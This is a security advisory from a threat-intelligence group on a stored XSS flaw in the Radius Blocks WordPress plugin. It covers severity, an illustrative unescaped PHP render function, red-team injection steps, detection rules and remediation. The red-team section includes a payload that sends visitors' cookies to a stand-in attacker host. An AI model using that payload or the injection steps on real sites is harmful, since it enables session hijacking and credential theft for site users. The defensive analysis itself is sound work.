CVE-2024-54272

Executive Summary

CVE-2024-54272 is a Stored Cross-Site Scripting (XSS) vulnerability in the Radius Blocks WordPress plugin by RadiusTheme, affecting versions up to and including 2.1.2. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the context of any user viewing the affected page. This can lead to session hijacking, credential theft, or defacement. As a WordPress plugin vulnerability, it is critical for site administrators to assess their exposure and apply mitigations immediately, as no official patch is currently available.

Supply Chain & Package Security

This vulnerability affects the Radius Blocks WordPress plugin, distributed via the WordPress plugin repository and potentially bundled in themes or custom installations. Organizations using this plugin should verify their version and consider disabling it until a patch is released. The lack of an official patch increases supply chain risk, as attackers may target unpatched installations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is elevated due to the stored nature of the XSS, which can affect multiple users without additional interaction beyond page visits. The low EPSS score (0.0%) suggests limited active exploitation, but this may change as details become public.

Deep Dive & Mechanics

The vulnerability exists in the radius-blocks plugin, which provides custom Gutenberg blocks for WordPress. The plugin fails to sanitize or escape user input when rendering certain block attributes or content, allowing an attacker with contributor-level access or higher to inject malicious JavaScript. The injected script is stored in the WordPress database and executed when any user (including administrators) views the page containing the compromised block.

The root cause is improper neutralization of input during web page generation (CWE-79). Specifically, the plugin likely uses echo or print without applying WordPress escaping functions like esc_html() or wp_kses_post() on user-supplied data within block render callbacks.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

function render_block($attributes) {
    $content = $attributes['customContent'];
    return "<div class='radius-block'>$content</div>";
}

Patched Code (Expected):

function render_block($attributes) {
    $content = esc_html($attributes['customContent']);
    return "<div class='radius-block'>$content</div>";
}

The vulnerable code directly interpolates user input into HTML without escaping, allowing script injection. The patched version uses esc_html() to neutralize HTML tags and JavaScript.

Exploitation & Lab Setup

Red Team

1. Prerequisites: WordPress installation with Radius Blocks plugin <= 2.1.2, and a user with Contributor role or higher.
2. Steps:
   • Log in as a Contributor.
   • Create a new post or page.
   • Add a Radius Blocks block (e.g., a custom HTML or text block).
   • Inject payload: <script>alert('XSS')</script> into a block attribute.
   • Publish the post.
   • When an admin or other user views the post, the script executes.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

1. Detection: Monitor for unusual block content or script tags in post content.
2. Prevention: Disable the plugin until a patch is available. Use a Web Application Firewall (WAF) to block XSS payloads.
3. Response: If compromised, remove malicious posts, reset user sessions, and audit user roles.

Indicators of Compromise (IOCs)

• File Hashes: (None available)
• Network Indicators: Outbound connections to attacker-controlled domains from WordPress admin or frontend.
• Log Entries: Suspicious post content containing <script> tags in wp_posts.post_content.
• Database: Presence of JavaScript payloads in wp_postmeta or wp_posts for Radius Blocks.

Detection Engineering

YARA Rule

rule CVE_2024_54272_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Radius Blocks plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54272"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $radius_block = /radius-blocks/i
    condition:
        $radius_block and $xss_payload
}

Sigma Rule

title: Stored XSS in Radius Blocks Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts via Radius Blocks plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: '/wp-json/radius-blocks/'
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in blocks (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-54272 Stored XSS in Radius Blocks"; flow:to_server,established; content:"/wp-json/radius-blocks/"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Radius Blocks plugin until an official patch is released.
2. Workaround: If disabling is not possible, restrict user roles to prevent contributors from using the vulnerable blocks.
3. Long-term: Apply the patch from the vendor when available. Monitor the WordPress plugin repository for updates.
4. Detection: Implement the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
5. Hardening: Use a WAF with XSS protection rules and enforce Content Security Policy (CSP) headers.

Valters IT Cyber Threat Intelligence Division